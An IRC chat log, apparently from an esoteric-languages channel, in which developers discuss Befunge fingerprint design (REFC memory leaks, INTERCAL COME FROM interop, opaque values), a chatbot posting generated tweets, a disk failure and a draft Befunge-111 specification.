16:44:50 <scarf> along the lines of M5L
16:44:58 <scarf> and it can come from there
16:45:01 <AnMaster> scarf, and then when that label is encounterd in the befunge program it jumps to intercal?
16:45:04 <scarf> you need the M, because it might NEXT to that line later
16:45:08 <scarf> AnMaster: yep
16:45:19 <AnMaster> scarf, then how could kM *not* cause issues?
16:45:35 <scarf> because, it starts executing at the M
16:45:37 <AnMaster> oh wait, you check that in your top loop?
16:45:47 <AnMaster> scarf, shouldn't it jump to intercal when it hits the M?
16:45:50 <AnMaster> that is what I thought you said
16:45:54 <scarf> no, when it hits the L
16:46:03 <scarf> otherwise, how could it know what the number was?
16:46:06 <AnMaster> scarf, okay, so what about kL then?
16:46:16 <scarf> AnMaster: then it returns on the first L, so the others don't happen
16:46:27 <AnMaster> scarf, returns from where?
16:46:29 <scarf> sort of like for(int i = 0; i < 10; i++) return;
16:46:33 <scarf> in C
16:46:44 <AnMaster> scarf, in the main loop? Well k doesn't go by the main loop
16:46:45 <scarf> AnMaster: well, gets come-frommed, or whatever
16:46:51 <AnMaster> remember it calls execute_instruction directly
16:46:53 <scarf> AnMaster: that isn't in the main loop, that's in the fingerprint I think
16:46:54 <AnMaster> in a loop
16:47:03 <scarf> hmm, I'm actually going to read the source now
16:47:21 <AnMaster> scarf, it would need to somehow get up through run_iterate() (which implements k)
16:47:26 <AnMaster> a longjmp is all I can think of
16:47:52 <scarf> hah, I see what's hapened
16:47:53 <scarf> *happened
16:47:57 <AnMaster> scarf, oh?
16:48:04 <scarf> it sets a flag in the code, multiple times, which does nothign
16:48:08 <AnMaster> ah
16:48:13 <scarf> then when it goes back to the main loop, it simulates only having happened once
16:48:26 <scarf> so you get the effect of returning on the first call, although actually it ignores all but the last then returns on the last call
16:48:27 * AnMaster wonders how longjmp() interacts with __attribute__((regparm(3)))
16:48:51 <AnMaster> (I hope it handles it)
16:49:52 <AnMaster> scarf, hm, does L take the line number as a parameter on stack?
16:49:58 <scarf> yep
16:50:09 <AnMaster> if so, won't it be overwritten to actually be the last one given to L?
16:50:12 <AnMaster> in a k loop
16:50:20 <AnMaster> also, what does negative line numbers do?
16:50:26 <scarf> AnMaster: yes, it will
16:50:36 <AnMaster> scarf, and is line 0 valid?
16:50:38 <scarf> and line numbers outside the range 1..65535 are ignored
16:50:54 <AnMaster> scarf, not very befungeish, silently ignoring
16:51:08 <scarf> AnMaster: that's the correct behaviour for computed COME FROM
16:51:14 <AnMaster> hrrm
16:51:18 <scarf> a COME FROM should do nothing if aimed at an illegal line number
16:51:30 <AnMaster> okay
16:52:00 <AnMaster> would be fun to do this as a free standing befunge fingerprint. Not sure how much it depends on ick internals
16:52:19 <Sgeo_> Is Ruby a good language to first try to learn continuations in?
16:52:33 <scarf> you'd have to separate it out to some extent; it depends on ick internals for the control flow deliberately, because it needs to be the same control flow as in the INTERCAL program
16:52:44 <AnMaster> well yes
16:53:12 <AnMaster> scarf, what I actually meant (but didn't say I realise) was: "how hard would it be to rewrite those bits for freestanding"
16:53:29 <scarf> shouldn't be massively hard; INTERCAL control flow is relatively easy to implement
16:53:41 <scarf> hard to /use/, but easy to implement
16:53:55 <AnMaster> one of the few easy parts to implement?
16:54:17 <AnMaster> scarf, also, what about memory leaks? Is there any way to remove a come from?
16:54:43 <cpressey> Sgeo_: Actually, I think it is.
16:54:55 <AnMaster> scarf, I'm not very happy with REFC and such
16:54:56 <scarf> AnMaster: the way it works is, whenever a line label's encountered, it starts executing in every cardinal direction from every middot, to see if it comes across a comefrom
16:55:05 <AnMaster> which *requires* you to leak memory basically
16:55:20 <scarf> why is that a leak?
16:55:26 <scarf> it uses a fixed amount of memory in every case
16:55:37 <AnMaster> scarf, you can't remove refences, just add new and dereference existing
16:55:38 <scarf> because the set of middots is fixed at compiletime
16:55:44 <scarf> AnMaster: references to what?
16:55:48 <AnMaster> references*
16:55:55 <AnMaster> scarf, cells
16:55:57 <AnMaster> x,y
16:56:05 <scarf> oh, you can't add new either
16:56:06 <AnMaster> http://catseye.tc/projects/funge98/library/REFC.html
16:56:09 <AnMaster> scarf, ^
16:56:13 <scarf> ah, you're talking about REFC, rather than IFFI
16:56:16 <AnMaster> scarf, yes
16:56:29 <AnMaster> scarf, I mean, I want to avoid this scenario for a fingerprint
16:56:46 <cpressey> I'm not sure what the point of REFC is
16:56:50 <scarf> clearly you need reference-counting
16:56:59 <cpressey> Why not just share vectors
16:57:03 <AnMaster> scarf, for funge cells? Don't be daft XD
16:57:08 <scarf> no, for vectors
16:57:19 <AnMaster> scarf, well, how would I track them
16:57:24 <scarf> cpressey: maybe it's so you can have vectors /of/ vectors
16:57:54 <AnMaster> nothing forbids you to output it, then later ask the user to input the same number
16:58:01 <AnMaster> and so on
16:58:10 <scarf> AnMaster: let's say, R creates a reference with a refcount of 1, D dereferences a reference, C increases a reference's refcount, X decreases a reference's refcount, and if it falls to 0 it can't be used in future
16:58:18 <scarf> I mean, refcounting in the fingerprint
16:58:25 -!- tombom has joined.
16:58:28 <AnMaster> scarf, well that would require changing the fingerprint
16:58:32 <AnMaster> which is unrealistic
16:58:40 <MissPiggy> http://etext.virginia.edu/toc/modeng/public/ManFour.html
16:58:42 <cpressey> It does say "Under development"
16:58:43 <MissPiggy> facts about 4our
16:58:48 <scarf> the fingerprint as written requires a memory leak, yes
16:58:54 <AnMaster> cpressey, doesn't all your fingerprints almost?
16:59:05 <AnMaster> also, still in beta (oh wait it isn't)
17:00:48 <cpressey> It should probably just be burnt
17:01:07 <cpressey> There'
17:01:25 <AnMaster> what?
17:01:38 <cpressey> There's a saying about how the only thing worse than generalizing from a single example is generalizing from no examples at all.
17:02:05 <cpressey> # of use cases for REFC = 0, so... garbage collect it :)
17:02:37 <AnMaster> cpressey, how do you know?
17:02:47 <AnMaster> well mycology doesn't count I guess
17:02:54 <cpressey> AnMaster: Feel free to prove me wrong
17:03:09 <AnMaster> cpressey, is writing one now allowed? ;P
17:03:30 <scarf> linked lists?
17:03:35 <scarf> trees?
17:03:40 <AnMaster> scarf, hm interesting
17:03:46 <scarf> REFC's about the best you can do for writing object-oriented funge, too
17:03:56 <AnMaster> oh?
17:04:01 <AnMaster> objects are immutable
17:04:02 <scarf> but that really needs a fingerprint of its own
17:04:12 <scarf> AnMaster: yep, but you can make slightly mutated copies, Haskell-style
17:04:13 <AnMaster> also what about rc/funge's FOBJ?
17:04:22 <AnMaster> (not very good OO though)
17:04:28 <scarf> and I don't have the whole list of rc/funge fingerprints memorised, for presumably obvious reasons
17:04:36 <AnMaster> (object, but not most of the concepts of OO)
17:05:06 <AnMaster> http://rcfunge98.com/rcsfingers.html#FOBJ
17:05:55 <scarf> hmm, that appears to be a Trefunge-only fingerprint
17:05:57 <cpressey> I don't see a strong argument for using references instead of vectors (even for linked lists, objects, etc.) except for some pie-in-the-sky notion of writing a *funge polyglot, e.g. Befunge and Trefunge.
17:06:14 <AnMaster> hah
17:06:21 <AnMaster> cpressey, I didn't think of that one
17:06:36 <scarf> cpressey: oh, I forgot that vectors couldn't be arbitrary-length
17:06:45 <scarf> hmm, the case of trees still applies, though
17:07:10 <scarf> AnMaster: in efunge, you wouldn't need to have a memory leak
17:07:11 <cpressey> scarf: Why can't you just store the vector of the child node, in the parent node?
17:07:24 <AnMaster> scarf, hm?
17:07:27 <scarf> cpressey: because then it wouldn't fit into one cell, unless you had bignums
17:07:27 <cpressey> And yes, you do have memory leaks with REFC.
17:07:30 <AnMaster> scarf, how
17:07:36 <cpressey> scarf: Why do you have to use one cell?
17:07:47 <scarf> AnMaster: you can implement R as mingling all the elements of the vector, and D as unmingling them
17:07:56 <scarf> cpressey: you don't have to, but you might want to, for code simplicity reasons
17:08:02 <AnMaster> scarf, interesting idea
17:08:09 <cpressey> scarf: That'
17:08:23 <AnMaster> that'?
17:08:23 <scarf> cpressey: your comment was cut off
17:08:23 <cpressey> That's not what I call a strong argument.
17:08:34 <cpressey> Dude
17:08:38 <AnMaster> cpressey, scarf's suggestion about mingling was quite nice
17:08:39 <cpressey> ' is right next to Enter
17:08:45 <scarf> cpressey: well, think about, say, STRN or TOYS; those exist only for code simplicity too
17:08:45 <AnMaster> cpressey, true
17:08:54 <scarf> also, I'm not complaining about the cut-off, just pointing it out in case you missed it
17:08:56 <AnMaster> cpressey, on some layouts at least
17:09:02 <AnMaster> (including mine)
17:09:10 <scarf> there's # between ' and enter on this keyboard
17:09:53 <AnMaster> asdfghjklöä'<lower part of enter, enter takes up two rows>
17:10:24 <scarf> asdfghjkl;'#<lower part of enter>
17:10:43 <MissPiggy> the old pond a frog jumps in splash?
17:10:54 <AnMaster> MissPiggy, ?
17:11:37 <cpressey> I should say, implementing REFC without memory leaks is pretty hard.
17:11:52 <cpressey> I don't know that it's impossible.
17:11:54 <scarf> yep, the only solution's to encode the entire vector into the pointer
17:11:59 <scarf> which requires either bignums or Unefunge
17:12:06 <scarf> (it is very easy to write a non-leaky REFC in Unefunge)
17:12:19 <cpressey> scarf: No, even then, you have to distinguish it from integers which happen to coincidentally have the same value.
17:12:20 <scarf> (because you can make both R and D NOPs)
17:12:28 <Deewiant> arstdhneio'\<lower part of enter>
17:12:28 <cpressey> So you have to carry type information
17:12:36 <cpressey> On the stack and throughout the playfield.
17:12:44 <scarf> cpressey: hmm, no, because nothing's forcing REFC values to be distinct from integers
17:12:55 <Deewiant> You can't add type information
17:13:22 <Deewiant> You can read in an integer with & and use it to access a REFC vector as well as do anything else
17:13:28 <cpressey> scarf: OK, in the bignum case. I guess I'm talking about the non-bignum case.
17:13:46 <AnMaster> cpressey, also unefunge
17:13:54 <cpressey> Deewiant: well, REFC doesn't define what ,D would mean
17:13:56 <scarf> in the non-bignum case, with unefunge, there are a finite number of possible integers, and an equal finite number of possible vectors
17:13:58 <AnMaster> for fixnum befunge-or-above...
17:14:00 <cpressey> It could reflect.
17:14:01 <scarf> so you can just map them one-on-one
17:14:25 <cpressey> Yes, I'm also not very interested in Unefunge.
17:14:37 <scarf> the internal list would be a fixed internal list, {0=>0,1=>1,...}
17:14:48 <scarf> except for bignum and unefunge, though, it's impossible to do without a memleak
17:15:05 <Deewiant> cpressey: REFC just says that if you give it an integer which is the same as one that R earlier pushed it'll work
17:15:13 <Deewiant> It doesn't matter where that integer came from
17:15:17 <AnMaster> Deewiant &cpressey, how does REFC interact with storage offset?
17:15:21 <AnMaster> I don't remember
17:15:29 <cpressey> Deewiant: REFC says nothing about integers
17:15:31 <AnMaster> s/&/& /
17:15:35 <AnMaster> I think that should work
17:15:40 <cpressey> "scalar values"
17:15:41 <AnMaster> (that sed expression)
17:15:48 <Deewiant> cpressey: So you're arguing that "a scalar value" could be a non-stack cell? :-P
17:15:57 <scarf> cpressey: ooh, the idea is that you might be storing something other than integers in fungespace / on the stack?
17:16:00 <cpressey> Deewiant: I'm trying to make an argument for burning REFC
17:16:00 <AnMaster> cpressey, that would be quite ferral
17:16:06 <scarf> then what happens if you p them onto the playfield, then execute them?
17:16:11 <AnMaster> cpressey, well, things implement it
17:16:26 <Deewiant> cpressey: I'd rather make it actually useful ;-)
17:16:28 <AnMaster> oooh that gave me a good idea
17:16:33 <AnMaster> a *wonderful* idea
17:16:37 <AnMaster> scarf, thanks a LOT
17:16:38 <Deewiant> But I guess it's equivalent to burning it and doing something else
17:16:47 <scarf> AnMaster: ?
17:17:02 <Deewiant> AnMaster: REFC says nothing about storage offset so IMO it's not affected by it
17:17:17 <cpressey> Deewiant: someone will surely make an argument that fingerprints are immutable, even if they're crap-ambiguous
17:17:31 <Deewiant> cpressey: Yep, AnMaster will
17:17:42 <AnMaster> scarf, I have considered opaque values. For efunge things like {float,12.42} or {socket, Data_about_it} would be a lot nicer for fingerprints like FILE or SOCK or FPDP
17:17:49 <AnMaster> of course that would be a pain in some other parts
17:17:54 <AnMaster> but it would be kind of neat
17:17:58 <Deewiant> Myself, I don't mind fixing broken-ass stuff in-place
17:18:00 <scarf> the idea of ping them onto the playfield then executing them's a weird one
17:18:00 <AnMaster> but now I figured out a way to solve it
17:18:09 <AnMaster> scarf, the idea is that they are represented as functions
17:18:14 <AnMaster> that can be acted upon
17:18:20 <scarf> ooh, you could have lazy values
17:18:24 <AnMaster> so if something tries to add them together and what not..
17:18:28 <AnMaster> scarf, that too
17:18:49 <scarf> in fact, if you have some sort of lambda fingerprint, you could (very ferally) have a completely lazy funge, and still stay within the spec
17:19:15 <AnMaster> scarf, my primary interest was about what happens if you pass a {socket,523} and a {float,2.3} to FPDP's "add two floating point numbers" or such
17:19:19 <AnMaster> and where the error should be handled
17:19:26 <scarf> FPDP should reflect
17:19:33 <AnMaster> but I think this could mean it can implement the behaviour itself
17:19:33 <scarf> well, the specific command in it should reflect
17:19:50 <scarf> either that, or it should read a floating-point number from the socket and add that
17:19:57 <scarf> operand overloading FTW
17:19:58 <AnMaster> scarf, yes. But there would be a lot of "check what sort of value this is" or a lot of try catch
17:20:00 <AnMaster> elsewhere
17:20:11 <AnMaster> neither of which I liked very much
17:20:18 <scarf> you could centralise it somewhat
17:20:24 <AnMaster> scarf, yes, try catch
17:20:30 <AnMaster> but that is somewhat blunt
17:20:47 <AnMaster> also, efunge is already slow.
17:20:50 <scarf> as in, defining fingerprint commands, you'd say what type of arguments they expected in the specfile-equivalent
17:21:08 <AnMaster> scarf, currently efunge uses the same specfile format as cfunge for the fingerprints
17:21:25 <AnMaster> (and similar shell scripts, but with different code generation output of course)
17:22:02 <Deewiant> AnMaster: Until it's around the level of L::B you can't call it slow
17:22:22 <AnMaster> Deewiant, well, slow enough that I'm somewhat annoyed at waiting on mycology
17:22:39 <Deewiant> How long does it take?
17:22:41 <scarf> Deewiant: hmm, if it doesn't implement hexadecifunge, it should be significantly faster than L::B to not be considered slow
17:22:48 <AnMaster> Deewiant, overall it is a bit slower than ccbi it seems
17:22:56 <AnMaster> varies a bit depending on things
17:23:01 <scarf> *hexadecefunge
17:23:05 <Deewiant> And that makes it annoyingly slow? You're awfully sensitive :-P
17:23:06 <AnMaster> (like, which program)
17:23:42 <AnMaster> scarf, what is hexadecefunge?
17:23:54 <scarf> AnMaster: 16-dimensional funge, of course
17:24:10 <cpressey> Deewiant: What is L::B?
17:24:12 <AnMaster> scarf, oh, not weird topology then?
17:24:19 <AnMaster> cpressey, Language::Befunge
17:24:22 <AnMaster> perl
17:24:24 <Deewiant> cpressey: Language::Befunge, the Perl implementation
17:24:25 <cpressey> Oh, Perl.
17:24:34 <scarf> it supports arbitrary-dimension funge
17:24:36 <scarf> and is incredibly slow
17:24:45 <cpressey> Then shouldn't it be Language::Funge?
17:24:50 <Deewiant> To be fair, it was incredibly slow even before it supported arbitrary-dimensional funges
17:24:56 <Deewiant> cpressey: It didn't always support them
17:24:59 <scarf> cpressey: probably, but it's probably too late to rename it now
17:25:15 <cpressey> Speaking of immutability
17:25:40 <AnMaster> cpressey, it causes problems when breaking previous programs
17:26:05 <AnMaster> cpressey, you should have made "under development" bold type
17:26:07 <asiekierka> back
17:26:10 <AnMaster> then maaaybe ;P
17:26:38 <cpressey> Maybe what?
17:26:52 <AnMaster> cpressey, "allow changes"
17:27:11 <cpressey> I don't understand.
17:27:13 <AnMaster> meh
17:27:17 <AnMaster> never mind
17:27:30 <scarf> we should have a fingerprint which is officially defined to be undefined, and whose semantics change every now and then
17:27:32 <AnMaster> (possibly that was more in-joke than I thought)
17:27:39 <AnMaster> scarf, heh
17:28:57 <AnMaster> cpressey, oh btw... MODU
17:29:02 <AnMaster> cpressey, "R: C-language integer remainder "
17:29:05 <AnMaster> is that C99?
17:29:18 <Deewiant> It predates C99 :-P
17:29:21 <AnMaster> because C89 remainder is actually not well defined for negative values
17:29:29 * cpressey remembers why he walked away from Befunge the first time
17:29:33 <AnMaster> Deewiant, befunge-98 does. But I don't know about that fingerprint
17:29:40 <AnMaster> :(
17:29:43 <Deewiant> Presumably it also does
17:29:47 <AnMaster> Deewiant, well right
17:29:59 <AnMaster> cpressey, fun to revisit for a bit? :)
17:30:09 <scarf> cpressey: you've still managed to invent arguably the most useful of all the esolangs, though
17:30:22 <AnMaster> yeah
17:30:35 <cpressey> Useful measured how?
17:30:44 -!- augur has quit (Ping timeout: 246 seconds).
17:30:49 <Deewiant> Most used of the non-tarpit ones, at least
17:31:08 <scarf> cpressey: useful in how quick it is to write a practical program with it
17:31:19 <asiekierka> cpressey: Which one?
17:31:22 <AnMaster> cpressey, what Deewiant said, and also "capable of interacting with other things with something more than just console io"
17:31:24 <asiekierka> which one is the useful one
17:31:32 <pikhq> Befunge.
17:31:33 <FireFly> Probably befunge
17:31:35 <scarf> as in, if you really wanted to program something, and had only esolangs to do it with, you'd probably use befunge
17:32:16 <AnMaster> cpressey, I can't imagine fungot being possible to write in brainfuck or intercal. For a start it would have needed a proxy program to handle socket and file io multiplexing for it
17:32:17 <fungot> AnMaster: love this song describes me...2 much. knob head. now, their all wanna be friends?
17:32:25 <Sgeo_> Might PSOX help? *evilgrin*
17:32:33 <scarf> AnMaster: wrong there, CLC-INTERCAL can do both
17:32:33 * AnMaster slaps Sgeo_
17:32:40 <AnMaster> scarf, wasn
17:32:51 <scarf> AnMaster: cut-off line
17:33:03 <AnMaster> I know
17:33:13 <AnMaster> scarf, wasn't* that just to other clc-intercal
17:33:16 <AnMaster> (the socket IO)
17:33:24 <AnMaster> stealing variables or something?
17:33:30 <scarf> no, it has syscalls too
17:33:46 <scarf> stealing variables is a favoured method of network communication, as it's higher-level
17:33:53 <AnMaster> scarf, what? arbitrary syscalls?
17:33:57 <scarf> but you can do low-level socket work too if you like, to be compatible with other programs
17:34:02 <scarf> not arbitrary syscalls, a subset
17:34:07 <AnMaster> phew
17:34:13 <AnMaster> scarf, still that is unportable
17:34:19 <scarf> AnMaster: they're relatively portable ones
17:34:24 <AnMaster> scarf, I mean, syscalls on freebsd are different than on linux
17:34:27 <scarf> I think they can all be implemented in portable Perl
17:34:46 <scarf> a syscall from INTERCAL's point of view is "open a socket", not "open a socket using this specific function"
17:34:47 <AnMaster> scarf, which ABI does it assume for the syscalls then?
17:34:55 <AnMaster> scarf, aha
17:34:58 <scarf> it doesn't, CLC-INTERCAL is interpreted
17:35:10 <AnMaster> scarf, well, I thought perl could call native code
17:35:20 <AnMaster> like syscall() in libc or such
17:35:21 <scarf> it can, but it's not implemented like that
17:35:28 <scarf> as in, CLC-INTERCAL isn't
17:35:43 <scarf> although my attempts to port it to DOS failed because it assumed newline=10
17:35:54 <Sgeo_> Twitter uses Ruby [on Rails] apparently
17:36:09 <scarf> Rails and Ruby are really quite different
17:36:23 <scarf> you might as well try to compare Befunge to SCKE, or whatever
17:36:24 <cpressey> Sgeo_: and from what I've heard it's given them quite a bit of pain
17:37:02 <AnMaster> scarf, well, the term "syscall" mislead me here
17:37:38 <Sgeo_> Hm. Howso?
17:37:56 <cpressey> Sgeo_: scaling
17:38:16 <cpressey> Scaling up to however many millions of users they have.
17:38:52 <cpressey> But, that's just a rumour.
17:39:14 <cpressey> It may be anti-Rails agitprop, for all I know
17:39:43 <cpressey> Anyway
17:40:17 <Sgeo_> scarf, I don't know what SCKE is
17:40:42 <scarf> Sgeo_: a funge fingerprint, I just picked one off the top of my head
17:40:43 <cpressey> I think it's more productive, when faced with an ambiguously-defined fingerprint, to propose a new fingerprint with a different name (diff by one letter, say) which fixes the ambiguities.
17:40:57 <scarf> like FING and FNGR?
17:41:09 <Deewiant> FING and FNGR are two quite different approaches
17:41:13 <scarf> yes
17:41:27 <cpressey> Implementations which provide ambiguous fingerprints will do so ambiguously. Good implementations that provide ambiguous fingerprints will allow themselves to be configured to handle the common de facto interpretations of the fingerprint.
17:41:39 <cpressey> That's all.
17:42:13 <Deewiant> If only there were "common de facto interpretations" :-)
17:42:26 <cpressey> Maybe I should have said "most common".
17:42:34 <fizzie> Heh, fungot now has a Twitter account.
17:42:35 <fungot> fizzie: are you sick son of a job drawing conclusions!!! i can't wait for the airshow and that just shows up when the pilot.
17:42:45 <Deewiant> fizzie: What made you think that was a good idea
17:42:50 <scarf> fizzie: does it spout nonsense whenever anyone mentions it?
17:43:07 <Deewiant> scarf: Sounds like a typical Twitter user to me, actually
17:43:25 <fizzie> scarf: I haven't really rigged up the automation yet; that's one possibility. I was personally thinking more about a scheduled "thought for the day" sort of thing.
17:43:39 <scarf> fungot: and what is your thought for today?
17:43:40 <fungot> scarf: i'll take my moron with on r,please.
17:43:48 <Deewiant> :-D
17:43:56 <Deewiant> That's actually a pretty good thought
17:44:05 <scarf> I don't know what it means
17:44:13 <AnMaster> ^style
17:44:13 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube*
17:44:19 <AnMaster> ah
17:44:25 <AnMaster> fizzie, make a style twitter?
17:44:26 <AnMaster> then
17:44:32 <fizzie> See http://twitter.com/fungot for the first tweet; that was just a half-manual (automatic babble-generation and automatic posting, but nothing scheduled, just a fire-once thing with a fixed model) run.
17:44:33 <fungot> fizzie: you must be stupid if there were 130 people on the news. if yall want to give 4000 to each chinese citizen to pay off it's debt's)its only gonna get worse and worse each week.
17:44:35 <AnMaster> then use that to generate the new ones
17:44:35 <Deewiant> It's invoking Muphry's, at least
17:44:43 <fizzie> AnMaster: I have a twitter style, it's just not in the bot yet.
17:44:48 <AnMaster> fizzie, ah
17:44:56 <fizzie> AnMaster: I don't have very much data for it yet.
17:45:08 <AnMaster> fizzie, I see
17:45:42 <fizzie> sqlite> select count(*) from tweets;
17:45:42 <fizzie> 11590
17:45:49 <Deewiant> fizzie: Does the "about nethack" show the style it came from or is that actually part of what it said
17:46:00 <fizzie> Deewiant: It shows the style, in this case.
17:46:59 -!- kar8nga has joined.
17:47:12 <AnMaster> fizzie, why a sql db for it?
17:48:02 <fizzie> AnMaster: Why not? Everything can interface with sqlite, and I may want to use some of the tweet-related metadata for selecting things at some point. Admittedly currently a flat file would've worked just as well.
17:49:03 <fizzie> For the twitter style I've just told it to every 10 minutes go and fetch the top-10 "trending" topics from the Twitter API, select one randomly, and fetch 64 latest tweets about that topic.
17:49:06 <AnMaster> fizzie, yeah, well that is what I thought: "it uses flat files"
17:49:19 <AnMaster> also now you forced me to actually define that fingerprint SQLITE
17:49:24 <AnMaster> (or SQL I guess)
17:49:43 <AnMaster> (maybe, when I have time)
17:49:58 <Deewiant> SQLT for SQLite I guess
17:50:10 <AnMaster> Deewiant, why T?
17:50:15 <AnMaster> shouldn't it be SQLL?
17:50:17 <AnMaster> for Lite
17:50:21 <scarf> Deewiant: SQLT reminded me of XSLT
17:50:30 <AnMaster> ouch
17:50:36 <Deewiant> AnMaster: Well, SQLite already has SQL in the name so I was thinking SQLiTe
17:50:53 <Deewiant> SQLL would fit if it were SQL-Lite
17:51:02 <Deewiant> Maybe SQL- ;-P
17:51:02 <AnMaster> hm
17:51:09 <AnMaster> Deewiant, why not SQLITE?
17:51:26 <Deewiant> Depends on what it overlaps with
17:51:31 <Deewiant> In the 32-bit range
17:51:42 <AnMaster> Deewiant, ffs, 32-bit is a thing of the past ;P
17:51:51 <Deewiant> No, it really isn't :-P
17:51:56 <Deewiant> 16-bit pretty much is
17:52:04 <Deewiant> But 32-bit is very much present
17:52:14 <AnMaster> Deewiant, 16 bit is not
17:52:18 <fizzie> The twitter style output generates pretty horribly moronic output, but, well, garbage in and so on.
17:52:22 <fizzie> http://pastebin.com/Aj33WwJn
17:52:23 <AnMaster> Deewiant, look at lots of embedded microcontrollers
17:52:42 <Deewiant> AnMaster: Lots of embedded stuff is actually 32-bit as well
17:53:02 <scarf> fizzie: can you make it just pull from the twitter feeds of intelligent people?
17:53:06 <AnMaster> fizzie, should filter urls from it I think
17:53:10 <Deewiant> And I have a feeling that things are generally going in that direction
17:53:13 <Deewiant> But maybe I'm wrong
17:53:14 <asiekierka> ^style youtube
17:53:14 <fungot> Selected style: youtube (Some YouTube comments)
17:53:27 <AnMaster> Deewiant, well sure
17:53:31 <fizzie> scarf: There are intelligent people there? But sure, theoretically.
17:53:34 <AnMaster> Deewiant, but 12 bits or such is still common
17:53:45 <asiekierka> fungot: Is there a discussion here?
17:53:46 <fungot> asiekierka: what about the ' tenor' roles... it could have been a while!!
17:53:47 <Deewiant> Mayhap
17:53:56 <AnMaster> Deewiant, iirc PIC12F had... hm I don't remember address and data bus sizes
17:54:05 <fizzie> Lots of DSP stuff is (or at least has been) 24 bits; that's a nice intermediate size.
17:54:06 <asiekierka> (the comments were sourced from the top 50 or so videos of 11th May, 2009)
17:54:13 <asiekierka> (492kb of data)
17:54:19 <asiekierka> (all processed to be content-only)
17:54:21 -!- asiekierka has changed nick to asie[afk].
17:55:39 <scarf> ugh, the top videos are bound to have stupid comments
17:55:45 <fizzie> Using real twitter data has the "problem" that it will include lots of @names in it, and those mentioned people might get a bit confused.
17:56:02 <fizzie> Since (as far as I know) they see it when people put their @name in there.
17:56:16 <AnMaster> fizzie, filter @names and http:// then?
17:56:17 <Sgeo_> Confusion is fun!
17:56:32 <fizzie> Yes, I'm not yet sure if it's a problem.
17:56:57 <fizzie> Twitter people might count the end product spam, anyway.
17:57:40 <AnMaster> fizzie, well, filtering it doesn't sound too bad
17:58:00 <asie[afk]> hi fizzie
17:58:12 <asie[afk]> i want to add new youtube comments to fungot
17:58:13 <fungot> asie[afk]: nobody was in middle to the bloke the plane ( alpha-floor protection etc) and loads more cabin crew.
17:58:17 <asie[afk]> the goal is 5MB
17:59:19 <fizzie> I'd really suggest some HTML scraping as opposed to manual collecting, but whatever floats your e-boat, I guess.
17:59:58 <fizzie> AnMaster: But then it doesn't look authentic twittery if it's not full of tinyurl links and @pings and #tags. (Though I guess there's no need to filter #tags; that's just another way people might end up actually seeing those tweets and being confused by them.)
18:00:20 <AnMaster> wth is going on
18:00:34 * AnMaster prods disk, htop and sync
18:00:54 <AnMaster> basically lots of disk io (seek noise), sync just hangs. Everything else is fine
18:01:03 <AnMaster> htop shows no candidate for this
18:01:09 <AnMaster> hrrm it stopped
18:01:25 <AnMaster> aaaie
18:01:31 <AnMaster> [887761.704069] INFO: task sync:24027 blocked for more than 120 seconds.
18:01:31 <AnMaster> [887761.704075] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
18:01:34 <AnMaster> and lots more
18:01:56 <AnMaster> okay going offline for emergency fsck from livecd now
18:04:03 -!- scarf has quit (Remote host closed the connection).
18:04:53 -!- augur has joined.
18:05:20 -!- AnMaster has quit (Read error: Operation timed out).
18:09:19 <cpressey> http://catseye.tc/lab/Befunge-111-Specification-DRAFT.txt
18:09:30 <cpressey> That's the first 1/3 or so of it, mostly definitions.
18:09:48 <cpressey> Defining what it means for an IP to advance is going to be a pain.
18:12:51 -!- anmaster_l has joined.
18:13:03 <anmaster_l> okay it looks like one partition was damaged
18:13:06 <anmaster_l> /tmp
18:13:10 <anmaster_l> all others are fine
18:13:24 <anmaster_l> I guess it is lucky considering...
18:13:32 <anmaster_l> where did scarf go?
18:13:34 <anmaster_l> :/
18:13:48 <fizzie> * scarf has quit (Remote host closed the connection) -- your guess is as good as ours, I guess.
18:14:06 <anmaster_l> ah
18:14:12 -!- kar8nga has quit (Remote host closed the connection).
18:14:32 <anmaster_l> actually that is just the ext* file systems checked so far
18:15:26 -!- oerjan has joined.
18:15:48 <lament> oh come on
18:16:02 <lament> "Every integer in the range of -2,147,483,648 to 2,147,483,647 inclusive must be precisely and reliably representable by a intval."
18:16:12 <lament> So it's OK for other integers to be represented imprecisely and unreliably?
18:16:25 <anmaster_l> lament, where is that from?
18:16:55 <fizzie> anmaster_l: Oh, right, you missed:
18:16:57 <fizzie> <cpressey> http://catseye.tc/lab/Befunge-111-Specification-DRAFT.txt
18:16:57 <fizzie> <cpressey> That's the first 1/3 or so of it, mostly definitions.
18:16:57 <fizzie> <cpressey> Defining what it means for an IP to advance is going to be a pain.
18:17:03 <anmaster_l> ah
18:17:27 <anmaster_l> will check that once desktop is back up
18:18:07 <cpressey> lament: Yes. That's what people mean when they say "32-bit Befunge"... do you have a problem with that?
18:22:37 -!- benuphoenix has joined.
18:23:05 <Sgeo_> Hi
18:23:10 <Sgeo_> I'm about to leave now, so bye
18:23:35 <anmaster_l> cpressey, are you saying OOM should result in exiting?
18:23:41 <anmaster_l> this breaks { behaviour
18:23:48 <anmaster_l> which is to reflect if allocation fails
18:23:50 <anmaster_l> hm
18:23:58 <anmaster_l> this doesn't matter for actual programs
18:24:22 <anmaster_l> but it does cause some headache if you are to implement both 98 and 111
18:24:27 <cpressey> anmaster_l: In general, yes, but I haven't defined { yet.
18:24:29 <anmaster_l> (as a command line flag or such)
18:24:30 -!- benuphoenix has left (?).
18:24:49 <anmaster_l> cpressey, does it have to terminate nicely?
18:25:06 <anmaster_l> cpressey, or is ending with a huge backtrace okay?
18:25:18 <cpressey> anmaster_l: "Implementing both 98 and 111" is a not a design consideration
18:25:27 <cpressey> anmaster_l: "nicely" is not defined
18:25:48 <anmaster_l> cpressey, you know what I mean. Is it allowed to crap all over the place basically in case of OOM
18:26:07 <cpressey> anmaster_l: It doesn't disallow it.
18:26:15 <anmaster_l> hm okay
18:26:38 <cpressey> "You know what I mean" is what got us into this mess. If you want specific, I'm going to be specific.
18:27:00 <cpressey> If you don't want specific, -98 is fine
18:27:39 <anmaster_l> cpressey, it would need to be specific in the spec yes
18:27:48 <anmaster_l> but I don't think IRC is the spec
18:28:14 <cpressey> No, but questions about the spec can't be answered unless they're specific, even if those questions are asked on IRC
18:28:29 <anmaster_l> cpressey, I'm typing this on an uncomfortable keyboard
18:28:35 <anmaster_l> you have to allow for that
18:29:22 <anmaster_l> cpressey, cells yeild 32 by default?
18:29:36 <anmaster_l> cpressey, how does that interact with popping zero on empty stack?
18:29:46 <anmaster_l> or is cell just funge-space here?
